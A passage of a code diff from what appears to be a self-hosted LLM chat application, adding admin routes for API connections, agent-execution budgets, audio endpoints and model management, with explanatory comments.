base_url = base_url.strip().rstrip("/")
|
||||
if not base_url.startswith(("http://", "https://")):
|
||||
raise HTTPException(
|
||||
status.HTTP_400_BAD_REQUEST,
|
||||
"The base URL must start with http:// or https://",
|
||||
)
|
||||
|
||||
position = db.scalar(select(func.coalesce(func.max(Connection.position), -1))) + 1
|
||||
connection = Connection(
|
||||
name=name.strip()[:120] or "Connection",
|
||||
base_url=base_url,
|
||||
api_key_encrypted=encrypt(api_key.strip()),
|
||||
position=position,
|
||||
)
|
||||
db.add(connection)
|
||||
db.commit()
|
||||
|
||||
# Discover models immediately: a connection that lists nothing is
|
||||
# indistinguishable from a broken one, and finding out now is the point.
|
||||
await _refresh_models(db, connection)
|
||||
return RedirectResponse("/admin/connections", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/connections/{connection_id}")
|
||||
async def update_connection(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
connection_id: str,
|
||||
name: str = Form(...),
|
||||
base_url: str = Form(...),
|
||||
api_key: str = Form(""),
|
||||
enabled: bool = Form(False),
|
||||
) -> Response:
|
||||
connection = _connection(db, connection_id)
|
||||
connection.name = name.strip()[:120] or connection.name
|
||||
connection.base_url = base_url.strip().rstrip("/")
|
||||
connection.enabled = enabled
|
||||
|
||||
submitted = api_key.strip()
|
||||
if submitted and submitted != UNCHANGED_SENTINEL:
|
||||
connection.api_key_encrypted = encrypt(submitted)
|
||||
elif not submitted:
|
||||
# An explicitly emptied field means "this endpoint needs no key".
|
||||
connection.api_key_encrypted = ""
|
||||
|
||||
db.commit()
|
||||
return RedirectResponse("/admin/connections", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/connections/{connection_id}/test")
|
||||
async def test_connection(
|
||||
request: Request, db: Db, user: AdminUser, connection_id: str
|
||||
) -> Response:
|
||||
"""Contact the endpoint and refresh its model list."""
|
||||
connection = _connection(db, connection_id)
|
||||
count, error = await _refresh_models(db, connection)
|
||||
|
||||
message = (
|
||||
f"{connection.name}: {error}"
|
||||
if error
|
||||
else f"{connection.name}: found {count} model{'s' if count != 1 else ''}."
|
||||
)
|
||||
return render(
|
||||
request,
|
||||
"admin/_connection_row.html",
|
||||
{
|
||||
"connection": connection,
|
||||
"masked": mask(decrypt(connection.api_key_encrypted)),
|
||||
"message": message,
|
||||
"message_kind": "error" if error else "success",
|
||||
"unchanged": UNCHANGED_SENTINEL,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
async def _refresh_models(db: DBSession, connection: Connection) -> tuple[int, str]:
|
||||
"""Sync the cached model list. Returns (count, error message)."""
|
||||
try:
|
||||
discovered = await list_models(Endpoint.from_connection(connection))
|
||||
except LLMError as exc:
|
||||
connection.last_error = exc.message
|
||||
connection.last_checked_at = datetime.now(UTC)
|
||||
db.commit()
|
||||
return 0, exc.message
|
||||
|
||||
existing = {model.model_id: model for model in connection.models}
|
||||
seen: set[str] = set()
|
||||
|
||||
# New models land after everything already ordered, rather than all at
|
||||
# position 0 where they would sort by id and shuffle the existing list.
|
||||
# No `or -1` after the coalesce: position 0 is falsy, so that idiom sent the
|
||||
# second discovered model back to 0 on top of the first.
|
||||
highest = db.scalar(select(func.coalesce(func.max(Model.position), -1)))
|
||||
next_position = int(highest if highest is not None else -1) + 1
|
||||
|
||||
for entry in discovered:
|
||||
model_id = str(entry["id"])[:300]
|
||||
seen.add(model_id)
|
||||
if model_id in existing:
|
||||
# A context length is filled in only when nobody has one yet. A
|
||||
# refresh must never overwrite a number an administrator typed --
|
||||
# they are usually correcting the endpoint.
|
||||
model = existing[model_id]
|
||||
if not model.context_length:
|
||||
model.context_length = context_from(entry)
|
||||
continue
|
||||
db.add(
|
||||
Model(
|
||||
connection_id=connection.id,
|
||||
model_id=model_id,
|
||||
position=next_position,
|
||||
context_length=context_from(entry),
|
||||
)
|
||||
)
|
||||
next_position += 1
|
||||
|
||||
# Models that vanished upstream are dropped, so the picker never offers
|
||||
# something the endpoint will reject.
|
||||
for model_id, model in existing.items():
|
||||
if model_id not in seen:
|
||||
db.delete(model)
|
||||
|
||||
connection.last_error = ""
|
||||
connection.last_checked_at = datetime.now(UTC)
|
||||
db.commit()
|
||||
log.info("connection %s: %d models", connection.name, len(seen))
|
||||
return len(seen), ""
|
||||
|
||||
|
||||
@router.post("/connections/{connection_id}/delete")
|
||||
async def delete_connection(db: Db, user: AdminUser, connection_id: str) -> Response:
|
||||
connection = _connection(db, connection_id)
|
||||
db.delete(connection)
|
||||
db.commit()
|
||||
return RedirectResponse("/admin/connections", status_code=status.HTTP_303_SEE_OTHER)
|
||||
@@ -0,0 +1,117 @@
|
||||
"""Whether agent chats exist here at all, and what they may spend.
|
||||
|
||||
An administrator's half of the feature. The other half -- which machines, whose
|
||||
credentials -- belongs to whoever owns them and lives at `/agents`.
|
||||
|
||||
Nothing here is about isolation, because there is none to configure: commands
|
||||
run on a host somebody chose, and its containment is that host's. The settings
|
||||
are budgets, and the two lists that decide what a mode asks about.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Form, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
from sqlalchemy import func, select
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.db.models import SshProfile
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.agent import policy
|
||||
from lembas.services.agent import ssh as ssh_service
|
||||
from lembas.services.agent import terminal as terminal_service
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/admin/agents", tags=["admin-agents"])
|
||||
|
||||
|
||||
def _lines(text: str) -> list[str]:
|
||||
"""One pattern per line, blanks dropped."""
|
||||
return [line.strip() for line in (text or "").splitlines() if line.strip()]
|
||||
|
||||
|
||||
@router.get("")
|
||||
async def agents_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
|
||||
values = settings_store.agents(db)
|
||||
return render(
|
||||
request,
|
||||
"admin/agents.html",
|
||||
{
|
||||
"values": values,
|
||||
"allow_text": "\n".join(values.get("allow_default") or []),
|
||||
"deny_text": "\n".join(values.get("deny_default") or []),
|
||||
"problem": ssh_service.available(),
|
||||
"profile_count": db.scalar(select(func.count()).select_from(SshProfile)) or 0,
|
||||
"terminal_count": terminal_service.count(),
|
||||
"modes": [(m, policy.MODE_LABELS[m], policy.MODE_HINTS[m]) for m in policy.MODES],
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("")
|
||||
async def save_agents(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
enabled: bool = Form(False),
|
||||
default_timeout: int = Form(60),
|
||||
max_timeout: int = Form(600),
|
||||
max_output_bytes: int = Form(64 * 1024),
|
||||
max_steps: int = Form(200),
|
||||
max_wall_seconds: int = Form(900),
|
||||
max_total_output_bytes: int = Form(1024 * 1024),
|
||||
max_completion_tokens: int = Form(200_000),
|
||||
approval_timeout: int = Form(900),
|
||||
allow_default: str = Form(""),
|
||||
deny_default: str = Form(""),
|
||||
ask_free_text: bool = Form(False),
|
||||
terminal_enabled: bool = Form(False),
|
||||
terminal_idle_timeout: int = Form(1800),
|
||||
terminal_max_sessions: int = Form(20),
|
||||
terminal_max_per_user: int = Form(3),
|
||||
terminal_integration: bool = Form(False),
|
||||
index_enabled: bool = Form(False),
|
||||
index_chars: int = Form(2000),
|
||||
instructions_enabled: bool = Form(False),
|
||||
instructions_chars: int = Form(4000),
|
||||
) -> Response:
|
||||
settings_store.update(
|
||||
db,
|
||||
{
|
||||
"enabled": enabled,
|
||||
# Clamped here as well as on read. A number with no bound is a way
|
||||
# to break the instance from a form, which is the same reasoning
|
||||
# the search settings carry.
|
||||
"default_timeout": min(max(default_timeout, 1), 3600),
|
||||
"max_timeout": min(max(max_timeout, 1), 3600),
|
||||
"max_output_bytes": min(max(max_output_bytes, 1024), 1024 * 1024),
|
||||
"max_steps": min(max(max_steps, 1), 1000),
|
||||
"max_wall_seconds": min(max(max_wall_seconds, 30), 7200),
|
||||
"max_total_output_bytes": min(max(max_total_output_bytes, 4096), 8 * 1024 * 1024),
|
||||
# Floor of 0, not 1: zero is how "no ceiling" is said.
|
||||
"max_completion_tokens": min(max(max_completion_tokens, 0), 5_000_000),
|
||||
"approval_timeout": min(max(approval_timeout, 60), 3600),
|
||||
"allow_default": _lines(allow_default),
|
||||
"deny_default": _lines(deny_default),
|
||||
"ask_free_text": ask_free_text,
|
||||
"terminal_enabled": terminal_enabled,
|
||||
"terminal_idle_timeout": min(max(terminal_idle_timeout, 60), 86400),
|
||||
"terminal_max_sessions": min(max(terminal_max_sessions, 1), 500),
|
||||
"terminal_max_per_user": min(max(terminal_max_per_user, 1), 50),
|
||||
"terminal_integration": terminal_integration,
|
||||
"index_enabled": index_enabled,
|
||||
# Zero is kept rather than clamped up: it means "list the
|
||||
# directory for the file picker but put none of it in the
|
||||
# prompt", which nothing else can say.
|
||||
"index_chars": min(max(index_chars, 0), 20_000),
|
||||
"instructions_enabled": instructions_enabled,
|
||||
"instructions_chars": min(max(instructions_chars, 0), 20_000),
|
||||
},
|
||||
key=settings_store.AGENTS,
|
||||
)
|
||||
log.info("agent execution %s by %s", "enabled" if enabled else "disabled", user.email)
|
||||
return RedirectResponse("/admin/agents?saved=1", status_code=status.HTTP_303_SEE_OTHER)
|
||||
@@ -0,0 +1,187 @@
|
||||
"""Audio administration: the transcription and speech endpoints."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Form, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.services import audio as audio_service
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
|
||||
from lembas.services.llm.openai_client import LLMError
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/admin/audio", tags=["admin-audio"])
|
||||
|
||||
# Read out by the speech test. Short, and the one line this project would pick.
|
||||
TEST_PHRASE = "Speak, friend, and enter."
|
||||
|
||||
|
||||
def _page_context(db: Db) -> dict:
|
||||
config = settings_store.audio(db)
|
||||
return {
|
||||
"values": config,
|
||||
"formats": audio_service.FORMATS,
|
||||
"masked": {
|
||||
"stt": mask(decrypt(config.get("stt_api_key_encrypted") or "")),
|
||||
"tts": mask(decrypt(config.get("tts_api_key_encrypted") or "")),
|
||||
},
|
||||
"unchanged": UNCHANGED_SENTINEL,
|
||||
}
|
||||
|
||||
|
||||
@router.get("")
|
||||
async def audio_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
|
||||
from lembas.api.audio import available_voices
|
||||
|
||||
context = _page_context(db)
|
||||
voices, error = await available_voices(context["values"])
|
||||
return render(
|
||||
request,
|
||||
"admin/audio.html",
|
||||
{**context, "voices": voices, "voice_error": error, "saved": saved},
|
||||
)
|
||||
|
||||
|
||||
@router.post("")
|
||||
async def save_audio(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
stt_enabled: bool = Form(False),
|
||||
stt_base_url: str = Form(""),
|
||||
stt_api_key: str = Form(""),
|
||||
stt_model: str = Form(""),
|
||||
stt_language: str = Form(""),
|
||||
tts_enabled: bool = Form(False),
|
||||
tts_base_url: str = Form(""),
|
||||
tts_api_key: str = Form(""),
|
||||
tts_model: str = Form(""),
|
||||
tts_voice: str = Form(""),
|
||||
tts_format: str = Form("mp3"),
|
||||
tts_speed: float = Form(1.0),
|
||||
tts_autoplay: bool = Form(False),
|
||||
) -> Response:
|
||||
"""Save both endpoints.
|
||||
|
||||
Unchecked checkboxes are absent from a form post, which is why every toggle
|
||||
defaults to False here -- that absence *is* the "off" signal.
|
||||
"""
|
||||
current = settings_store.audio(db)
|
||||
|
||||
settings_store.update(
|
||||
db,
|
||||
{
|
||||
"stt_enabled": stt_enabled,
|
||||
"stt_base_url": stt_base_url.strip().rstrip("/"),
|
||||
"stt_api_key_encrypted": keep_or_replace(
|
||||
stt_api_key, current.get("stt_api_key_encrypted") or ""
|
||||
),
|
||||
"stt_model": stt_model.strip() or "whisper-1",
|
||||
"stt_language": stt_language.strip()[:16],
|
||||
"tts_enabled": tts_enabled,
|
||||
"tts_base_url": tts_base_url.strip().rstrip("/"),
|
||||
"tts_api_key_encrypted": keep_or_replace(
|
||||
tts_api_key, current.get("tts_api_key_encrypted") or ""
|
||||
),
|
||||
"tts_model": tts_model.strip() or "tts-1",
|
||||
"tts_voice": tts_voice.strip()[:120],
|
||||
"tts_format": tts_format if tts_format in audio_service.FORMATS else "mp3",
|
||||
"tts_speed": min(max(tts_speed, 0.25), 4.0),
|
||||
"tts_autoplay": tts_autoplay,
|
||||
},
|
||||
key=settings_store.AUDIO,
|
||||
)
|
||||
|
||||
# The voice list belongs to whatever URL was configured before; keeping it
|
||||
# would show the previous server's voices against the new one.
|
||||
audio_service.forget_voices()
|
||||
log.info("audio settings saved by %s", user.email)
|
||||
return RedirectResponse("/admin/audio?saved=1", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/test/{side}")
|
||||
async def test_audio(request: Request, db: Db, user: AdminUser, side: str):
|
||||
"""Contact one of the two endpoints and report what happened.
|
||||
|
||||
Speech is tested by synthesising a phrase and measuring the bytes back;
|
||||
transcription by sending a short generated tone, which is *expected* to come
|
||||
back as no words at all. That still proves what matters -- the URL resolves,
|
||||
the key is accepted and the response parses.
|
||||
"""
|
||||
context = _page_context(db)
|
||||
config = context["values"]
|
||||
message, kind = "", "success"
|
||||
|
||||
try:
|
||||
if side == "tts":
|
||||
_, stream = await audio_service.speak(
|
||||
audio_service.endpoint_for(config, "tts"),
|
||||
TEST_PHRASE,
|
||||
model=config.get("tts_model") or "tts-1",
|
||||
voice=config.get("tts_voice") or "",
|
||||
fmt=config.get("tts_format") or "mp3",
|
||||
speed=float(config.get("tts_speed") or 1.0),
|
||||
)
|
||||
size = 0
|
||||
async for chunk in stream:
|
||||
size += len(chunk)
|
||||
message = f"Spoke the test phrase: {size:,} bytes of audio."
|
||||
elif side == "stt":
|
||||
text = await audio_service.transcribe(
|
||||
audio_service.endpoint_for(config, "stt"),
|
||||
data=_silent_wav(),
|
||||
filename="test.wav",
|
||||
content_type="audio/wav",
|
||||
model=config.get("stt_model") or "whisper-1",
|
||||
language=config.get("stt_language") or "",
|
||||
)
|
||||
heard = f'Heard "{text}".' if text else "Heard nothing, as expected."
|
||||
message = f"The endpoint answered. {heard}"
|
||||
else:
|
||||
message, kind = "Unknown endpoint.", "error"
|
||||
except LLMError as exc:
|
||||
message, kind = exc.message, "error"
|
||||
|
||||
voices, voice_error = [], ""
|
||||
if side == "tts":
|
||||
from lembas.api.audio import available_voices
|
||||
|
||||
voices, voice_error = await available_voices(config, refresh=True)
|
||||
|
||||
return render(
|
||||
request,
|
||||
"admin/_audio_result.html",
|
||||
{
|
||||
"side": side,
|
||||
"message": message,
|
||||
"message_kind": kind,
|
||||
"voices": voices,
|
||||
"voice_error": voice_error,
|
||||
"values": config,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def _silent_wav(seconds: float = 0.5, rate: int = 16000) -> bytes:
|
||||
"""A valid, silent WAV.
|
||||
|
||||
Generated rather than committed: half a second of silence is fourteen lines
|
||||
of header arithmetic, and a binary fixture in the repository would be one
|
||||
more thing nobody can review.
|
||||
"""
|
||||
import struct
|
||||
|
||||
frames = int(rate * seconds)
|
||||
data = b"\x00\x00" * frames
|
||||
header = struct.pack(
|
||||
"<4sI4s4sIHHIIHH4sI",
|
||||
b"RIFF", 36 + len(data), b"WAVE",
|
||||
b"fmt ", 16, 1, 1, rate, rate * 2, 2, 16,
|
||||
b"data", len(data),
|
||||
)
|
||||
return header + data
|
||||
@@ -0,0 +1,390 @@
|
||||
"""Model administration: ordering, defaults, images, access and capabilities."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import contextlib
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, File, Form, HTTPException, Request, Response, UploadFile, status
|
||||
from fastapi.responses import FileResponse, RedirectResponse
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.api.deps import AdminUser, Db, RequiredUser
|
||||
from lembas.db.models import Connection, Group, Model
|
||||
from lembas.services import chat as chat_service
|
||||
from lembas.services import settings_store, uploads
|
||||
from lembas.services.llm.openai_client import MAX_CONTEXT
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(tags=["admin-models"])
|
||||
|
||||
# What the endpoint can do. Endpoints do not advertise any of this reliably, so
|
||||
# these are an administrator's assertion.
|
||||
PROTOCOL_CAPABILITIES = ("reasoning", "vision", "tools")
|
||||
|
||||
# Which tools this model is given. Distinct from the above: `tools` is whether a
|
||||
# tools array may be sent at all, these are what goes in it. Every one of them is
|
||||
# meaningless unless `tools` is on.
|
||||
#
|
||||
# The last two are gates rather than single tools: one covers every custom HTTP
|
||||
# tool an administrator has defined, the other every MCP server. Which of those
|
||||
# a particular person gets is the tool's own group list, not a flag here -- a
|
||||
# server can advertise forty tools, and a model page listing all of them is a
|
||||
# page nobody can read.
|
||||
TOOL_CAPABILITIES = (
|
||||
("tool_web_search", "Web search"),
|
||||
("tool_fetch", "Fetch a page"),
|
||||
("tool_knowledge", "Knowledge"),
|
||||
("tool_notes", "Notes"),
|
||||
("tool_memory", "Memory"),
|
||||
("tool_skills", "Skills"),
|
||||
("tool_custom", "Custom tools"),
|
||||
("tool_mcp", "MCP servers"),
|
||||
("tool_ask", "Ask the reader"),
|
||||
("tool_agent", "Agent execution"),
|
||||
)
|
||||
|
||||
CAPABILITIES = PROTOCOL_CAPABILITIES + tuple(key for key, _ in TOOL_CAPABILITIES)
|
||||
|
||||
|
||||
def _model(db: DBSession, model_id: str) -> Model:
|
||||
model = db.get(Model, model_id)
|
||||
if model is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That model no longer exists.")
|
||||
return model
|
||||
|
||||
|
||||
def _ordered(db: DBSession) -> list[Model]:
|
||||
return list(
|
||||
db.scalars(
|
||||
select(Model).join(Connection).order_by(Model.position, Model.model_id)
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def _renumber(db: DBSession) -> None:
|
||||
"""Rewrite positions to 0..n-1.
|
||||
|
||||
Keeps the numbers dense so a move is always a swap with a neighbour, and
|
||||
stops repeated reordering drifting into large sparse values.
|
||||
"""
|
||||
for index, model in enumerate(_ordered(db)):
|
||||
model.position = index
|
||||
db.commit()
|
||||
|
||||
|
||||
# --- Listing -----------------------------------------------------------------
|
||||
PAGE_SIZE = 40
|
||||
|
||||
# Filters offered as tabs above the list. Each is a predicate over a Model.
|
||||
FILTERS: dict[str, tuple[str, object]] = {
|
||||
"all": ("All", lambda m: True),
|
||||
"enabled": ("Enabled", lambda m: m.enabled),
|
||||
"disabled": ("Disabled", lambda m: not m.enabled),
|
||||
"pinned": ("Pinned", lambda m: m.pinned),
|
||||
"restricted": ("Restricted", lambda m: not m.public),
|
||||
}
|
||||
|
||||
|
||||
@router.get("/admin/models")
|
||||
async def models_page(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
saved: str = "",
|
||||
q: str = "",
|
||||
filter: str = "all",
|
||||
connection: str = "",
|
||||
page: int = 1,
|
||||
):
|
||||
"""The model list.
|
||||
|
||||
Compact rows only -- editing happens on a page of its own. A connection can
|
||||
advertise a hundred models, and a list that renders a full form for each of
|
||||
them is unusable at that size.
|
||||
"""
|
||||
everything = _ordered(db)
|
||||
|
||||
predicate = FILTERS.get(filter, FILTERS["all"])[1]
|
||||
needle = q.strip().lower()
|
||||
|
||||
matching = [
|
||||
model
|
||||
for model in everything
|
||||
if predicate(model)
|
||||
and (not connection or model.connection_id == connection)
|
||||
and (
|
||||
not needle
|
||||
or needle in model.model_id.lower()
|
||||
or needle in (model.display_name or "").lower()
|
||||
)
|
||||
]
|
||||
|
||||
pages = max(1, -(-len(matching) // PAGE_SIZE))
|
||||
page = max(1, min(page, pages))
|
||||
start = (page - 1) * PAGE_SIZE
|
||||
visible = matching[start : start + PAGE_SIZE]
|
||||
|
||||
return render(
|
||||
request,
|
||||
"admin/models.html",
|
||||
{
|
||||
"models": visible,
|
||||
"total": len(everything),
|
||||
"matched": len(matching),
|
||||
"page": page,
|
||||
"pages": pages,
|
||||
"page_start": start,
|
||||
"connections": list(db.scalars(select(Connection).order_by(Connection.name))),
|
||||
"default_model": settings_store.get(db, "default_model") or "",
|
||||
"counts": {
|
||||
key: sum(1 for m in everything if test(m)) for key, (_, test) in FILTERS.items()
|
||||
},
|
||||
"filters": {key: label for key, (label, _) in FILTERS.items()},
|
||||
"active_filter": filter if filter in FILTERS else "all",
|
||||
"q": q,
|
||||
"connection_id": connection,
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/admin/models/{model_id}/edit")
|
||||
async def model_detail(
|
||||
request: Request, db: Db, user: AdminUser, model_id: str, saved: str = ""
|
||||
):
|
||||
"""Everything about one model, on its own page."""
|
||||
model = _model(db, model_id)
|
||||
ordered = _ordered(db)
|
||||
index = next((i for i, m in enumerate(ordered) if m.id == model.id), 0)
|
||||
|
||||
return render(
|
||||
request,
|
||||
"admin/model_detail.html",
|
||||
{
|
||||
"model": model,
|
||||
"groups": list(db.scalars(select(Group).order_by(Group.name))),
|
||||
"capabilities": PROTOCOL_CAPABILITIES,
|
||||
"tool_capabilities": TOOL_CAPABILITIES,
|
||||
"efforts": chat_service.EFFORTS,
|
||||
# Rows predating the split have no tool_* keys at all. Showing them
|
||||
# unticked would be a lie: tools.enabled_tools treats absent as on
|
||||
# when `tools` is on, so that an upgrade does not silently take web
|
||||
# search away from every model already configured for it.
|
||||
"tool_default": bool((model.capabilities_json or {}).get("tools")),
|
||||
"default_model": settings_store.get(db, "default_model") or "",
|
||||
"instance_prompt": settings_store.get(db, "system_prompt") or "",
|
||||
"position_of": index + 1,
|
||||
"total": len(ordered),
|
||||
"previous": ordered[index - 1] if index > 0 else None,
|
||||
"next": ordered[index + 1] if index + 1 < len(ordered) else None,
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
# Registered BEFORE /{model_id}: FastAPI matches in registration order, so
|
||||
# with the parameterised route first, "bulk" is captured as a model id and
|
||||
# the handler 404s on a model that does not exist.
|
||||
@router.post("/admin/models/bulk")
|
||||
async def bulk_models(
|
||||
db: Db, user: AdminUser, action: str = Form(...), model_ids: list[str] = Form(default=[])
|
||||
) -> Response:
|
||||
"""Enable or disable several models at once.
|
||||
|
||||
A freshly refreshed connection can advertise dozens of models; turning them
|
||||
off one at a time is not a reasonable way to spend an afternoon.
|
||||
"""
|
||||
models = list(db.scalars(select(Model).where(Model.id.in_(model_ids or []))))
|
||||
for model in models:
|
||||
if action == "enable":
|
||||
model.enabled = True
|
||||
elif action == "disable":
|
||||
model.enabled = False
|
||||
elif action == "public":
|
||||
model.public = True
|
||||
model.groups = []
|
||||
elif action == "private":
|
||||
model.public = False
|
||||
db.commit()
|
||||
_renumber(db)
|
||||
return RedirectResponse(
|
||||
f"/admin/models?saved={len(models)}+model(s)+updated.", status_code=303
|
||||
)
|
||||
|
||||
|
||||
@router.post("/admin/models/{model_id}")
|
||||
async def update_model(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
model_id: str,
|
||||
display_name: str = Form(""),
|
||||
description: str = Form(""),
|
||||
system_prompt: str = Form(""),
|
||||
enabled: bool = Form(False),
|
||||
pinned: bool = Form(False),
|
||||
public: bool = Form(False),
|
||||
position: str = Form(""),
|
||||
context_length: str = Form(""),
|
||||
default_effort: str = Form(""),
|
||||
group_ids: list[str] = Form(default=[]),
|
||||
capability: list[str] = Form(default=[]),
|
||||
) -> Response:
|
||||
model = _model(db, model_id)
|
||||
|
||||
model.display_name = display_name.strip()[:300]
|
||||
model.description = description.strip()[:2000]
|
||||
model.system_prompt = system_prompt.strip()[:8000]
|
||||
# A string, so an emptied field is distinguishable and junk can be ignored
|
||||
# rather than becoming a 422 -- the same shape `position` uses below.
|
||||
if context_length.strip():
|
||||
with contextlib.suppress(ValueError):
|
||||
model.context_length = min(max(int(context_length), 0), MAX_CONTEXT)
|
||||
else:
|
||||
model.context_length = 0
|
||||
model.enabled = enabled
|
||||
model.pinned = pinned
|
||||
model.public = public
|
||||
|
||||
# Merged rather than rebuilt, unlike the capabilities below: params_json
|
||||
# holds whatever sampling defaults an administrator has set and this form
|
||||
# only carries one of them.
|
||||
params = dict(model.params_json or {})
|
||||
wanted = default_effort.strip().lower()
|
||||
if wanted in chat_service.EFFORTS:
|
||||
params["reasoning_effort"] = wanted
|
||||
else:
|
||||
params.pop("reasoning_effort", None)
|
||||
model.params_json = params
|
||||
|
||||
# Absent checkboxes are simply missing from a form post, so the submitted
|
||||
# list IS the complete new state -- rebuild rather than merge.
|
||||
model.capabilities_json = {name: (name in capability) for name in CAPABILITIES}
|
||||
|
||||
if public:
|
||||
# Group rows would be dead weight and misleading in the UI.
|
||||
model.groups = []
|
||||
else:
|
||||
model.groups = list(db.scalars(select(Group).where(Group.id.in_(group_ids or []))))
|
||||
|
||||
db.commit()
|
||||
|
||||
# Typing a position is the only workable way to reorder a long list; the
|
||||
# up/down buttons are for nudging a model one place.
|
||||
if position.strip():
|
||||
try:
|
||||
wanted = max(1, int(position)) - 1
|
||||
except ValueError:
|
||||
wanted = None
|
||||
if wanted is not None:
|
||||
ordered = [m for m in _ordered(db) if m.id != model.id]
|
||||
ordered.insert(min(wanted, len(ordered)), model)
|
||||
for index, item in enumerate(ordered):
|
||||
item.position = index
|
||||
db.commit()
|
||||
|
||||
log.info("model %s updated by %s", model.model_id, user.email)
|
||||
return RedirectResponse(
|
||||
f"/admin/models/{model.id}/edit?saved=Saved.", status_code=303
|
||||
)
|
||||
|
||||
|
||||
@router.post("/admin/models/{model_id}/move")
|
||||
async def move_model(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
model_id: str,
|
||||
direction: str = Form(...),
|
||||
back: str = Form(""),
|
||||
) -> Response:
|
||||
"""Swap a model with its neighbour."""
|
||||
model = _model(db, model_id)
|
||||
ordered = _ordered(db)
|
||||
index = next((i for i, m in enumerate(ordered) if m.id == model.id), None)
|
||||
|
||||
if index is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That model no longer exists.")
|
||||
|
||||
target = index - 1 if direction == "up" else index + 1
|
||||
if 0 <= target < len(ordered):
|
||||
ordered[index], ordered[target] = ordered[target], ordered[index]
|
||||
for position, item in enumerate(ordered):
|
||||
item.position = position
|
||||
db.commit()
|
||||
|
||||
# Back to whichever filtered, paginated view the button was pressed on.
|
||||
return RedirectResponse(back or "/admin/models", status_code=303)
|
||||
|
||||
|
||||
@router.post("/admin/models/{model_id}/default")
|
||||
async def set_default_model(
|
||||
db: Db, user: AdminUser, model_id: str, back: str = Form("")
|
||||
) -> Response:
|
||||
"""Make a model the instance default for new chats."""
|
||||
model = _model(db, model_id)
|
||||
settings_store.update(db, {"default_model": model.model_id})
|
||||
log.info("default model set to %s by %s", model.model_id, user.email)
|
||||
return RedirectResponse(
|
||||
back or f"/admin/models/{model.id}/edit?saved=Now+the+default+model.",
|
||||
status_code=303,
|
||||
)
|
||||
|
||||
|
||||
@router.post("/admin/models/{model_id}/image")
|
||||
async def upload_model_image(
|
||||
db: Db, user: AdminUser, model_id: str, image: UploadFile = File(...)
|
||||
) -> Response:
|
||||
model = _model(db, model_id)
|
||||
payload = await image.read()
|
||||
|
||||
try:
|
||||
filename = uploads.save_model_image(payload, image.content_type or "")
|
||||
except uploads.UploadError as exc:
|
||||
return RedirectResponse(
|
||||
f"/admin/models/{model.id}/edit?saved={exc}", status_code=303
|
||||
)
|
||||
|
||||
# Remove the old file rather than orphaning it in the uploads directory.
|
||||
if model.image_path:
|
||||
uploads.delete_model_image(model.image_path)
|
||||
|
||||
model.image_path = filename
|
||||
db.commit()
|
||||
return RedirectResponse(
|
||||
f"/admin/models/{model.id}/edit?saved=Image+updated.", status_code=303
|
||||
)
|
||||
|
||||
|
||||
@router.post("/admin/models/{model_id}/image/delete")
|
||||
async def delete_model_image(db: Db, user: AdminUser, model_id: str) -> Response:
|
||||
model = _model(db, model_id)
|
||||
if model.image_path:
|
||||
uploads.delete_model_image(model.image_path)
|
||||
model.image_path = ""
|
||||
db.commit()
|
||||
return RedirectResponse(
|
||||
f"/admin/models/{model.id}/edit?saved=Image+removed.", status_code=303
|
||||
)
|
||||
|
||||
|
||||
# --- Serving model images ----------------------------------------------------
|
||||
@router.get("/uploads/models/{filename}")
|
||||
async def model_image(user: RequiredUser, filename: str) -> Response:
|
||||
"""Serve a stored model avatar.
|
||||
|
||||
Behind the auth guard: these are instance assets, not public files, and
|
||||
the path resolution in uploads refuses anything outside the directory.
|
||||
"""
|
||||
path = uploads.model_image_path(filename)
|
||||
if path is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "No such image.")
|
||||
return FileResponse(
|
||||
path,
|
||||
media_type=uploads.media_type_for(filename),
|
||||
# Filenames are random and content-addressed in practice, so a long
|
||||
# cache is safe: a new image gets a new name.
|
||||
headers={"Cache-Control": "private, max-age=604800"},
|
||||
)
|
||||
@@ -0,0 +1,245 @@
|
||||
"""Prompt administration: every piece of text LLeMbas injects into a model.
|
||||
|
||||
The fragments themselves live in `services/prompts.py`; this is the screen that
|
||||
edits them, and the preview that shows what they assemble into before anything
|
